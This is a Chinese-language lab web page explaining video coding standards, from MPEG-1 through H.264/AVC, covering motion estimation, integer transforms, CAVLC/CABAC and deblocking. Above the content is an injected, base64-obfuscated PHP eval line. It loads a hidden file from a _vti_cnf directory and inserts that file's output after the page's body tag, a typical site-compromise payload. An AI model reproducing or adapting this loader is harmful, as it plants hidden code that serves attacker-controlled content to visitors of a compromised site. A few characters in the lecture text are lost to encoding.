/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy9odG1sL2NoaW5lc2UvcGNjaGFuZy9jb3Vyc2U5NmIvdnE5Ny9Db21wcmVzcy9tcGVnYXVkaW8vX3Z0aV9wdnQvX3Z0aV9jbmYvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L2h0bWwvY2hpbmVzZS9wY2NoYW5nL2NvdXJzZTk2Yi92cTk3L0NvbXByZXNzL21wZWdhdWRpby9fdnRpX3B2dC9fdnRpX2NuZi9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
- 首頁
- 前言
- 研究目的
- 視訊編碼
- 嵌入式系統
- 使用軟體
- 操作平台
- x.264編譯流程
- MPlayer編譯流程
- 心得報告
- 參考資料
3. 視訊編碼
MPEG1在1993年制定完成,是最早的視訊編碼格式,當初的目標要能達到352x240 29.97fps,且在此解析度下有可接受的品質,曾運用在VCD上。
在1995年,MPEG2初版制定完成,跟MPEG1不同的是,它除了原有的視訊還定義了音訊的標準;在視訊上,它強化原有的架構,最佳運作的bitrate介於3∼10Mbps,主要的應用在於DVD,而最近幾年才推出的HDTV也可見其身影。
MPEG3,由於MPEG2架構快速的發展、演化,導致大家放棄制定中的MPEG3而繼續沿用MPEG2。
MPEG4,這次定義的標準不再限制於一套標準的程序,而把許多的實做方法留給開發者去實現。在MPEG4中,最重要的部份在Part10 Advanced Video Coding(AVC),初版在2003制定完成,其中H.264為早期的開發代碼,當初的想法是要找到一個可以用上好幾年的編碼方法,但是它的複雜度必須讓當今的設備能夠負荷,即使如此,以現有的設備仍然無法達到即時編碼。在應用上,次世代的藍光DVD、HD DVD還有需多的衛星電視台都採用此壓縮標準。
圖一 MPEG編碼規格比較
3.1 H.264
H.264/AVC是新一代的視訊壓縮標準,比起 MPEG-2、MPEG-4、H.263而言,H.264 提供了更高的壓縮效能,使壓縮品質進一步的提升,亦即在相同的壓縮比率下提供更好的影像品質。
在整個解壓縮的架構上,H.264 解壓縮的演算法與傳統的解壓縮標準相似,都是以區塊(macroblock)為基本的解壓縮單位,藉由消除資料在空間上的重複性、時間上的重複性、視覺心理的多餘性以及統計上的重複性來達到壓縮效果。然而H.264/AVC之所以能達到如此高的壓縮效率,主要是因為它提供較多樣的壓縮工具,例如:
1. 在做motion estimation時,H.264 支援更多種的預測選擇(16×16、16×8、8×16、8×8、8×4、4×8、4×4),此外參考畫面最多可往前5 張及往後5 張,移動向量(motion vector)之精確度可達?像素,因而大幅提升時間軸上預測的準確度。
2. 在做轉換(transformation)時,H.264 是以4×4 矩陣為轉換單元,並採用整數當作轉換係數,因此在做反轉換時,編碼與解碼並不會因為精確度問題而有任何誤差,不但複雜度大為下降,實作上也簡單許多。
3. 在entropy 編碼上提供CAVLC(Context Adaptive Variable Length Coding)與CABAC(Context Adaptive Binary Arithmetic Coding)兩種編碼方式。Baseline profile規格的entropy編碼是將剩餘區塊以CAVLC編碼,其它資訊則以Exp-Golomb VLC編碼。CAVLC比傳統的Run-Length編碼更能有效消除統計上之重複性,而Exp-Golomb VLC之特點為規則、簡單。Main profile規格的entropy編碼則是將資料全部採用CABAC編碼,以得到更高的壓縮率。
4. H.264 採取以往屬於規格外的去區塊濾波器(deblocking filter),根據不同的編碼模式,開啟不同強度的濾波器,以消除區塊邊緣因區塊式位移補償與以區塊為準之轉換量化所造成之不連續現象,同時保存原有物體邊緣之銳利度。
許多H.264 的特性,其中很多都直接地與運算複雜度有關。例如我們發現Zero 4×4小區塊可以直接省略掉IQ and IT的計算,此外就是我們分析出一些H.264中獨有的在整個串流中的分布特徵,例如?點的移動向量佔所有移動向量的百分比。還有就是H.264應用於標準測試檔案上時的特性分布,例如移動向量的大小分布情形以及skip mode的多寡,這些特性直接影響了影像解碼時的計算複雜度。
圖二 H.264檔案格式,由一個個的NAL單元串接組合而成
Copyright © 國立中央大學通訊工程學系 音視訊處理實驗室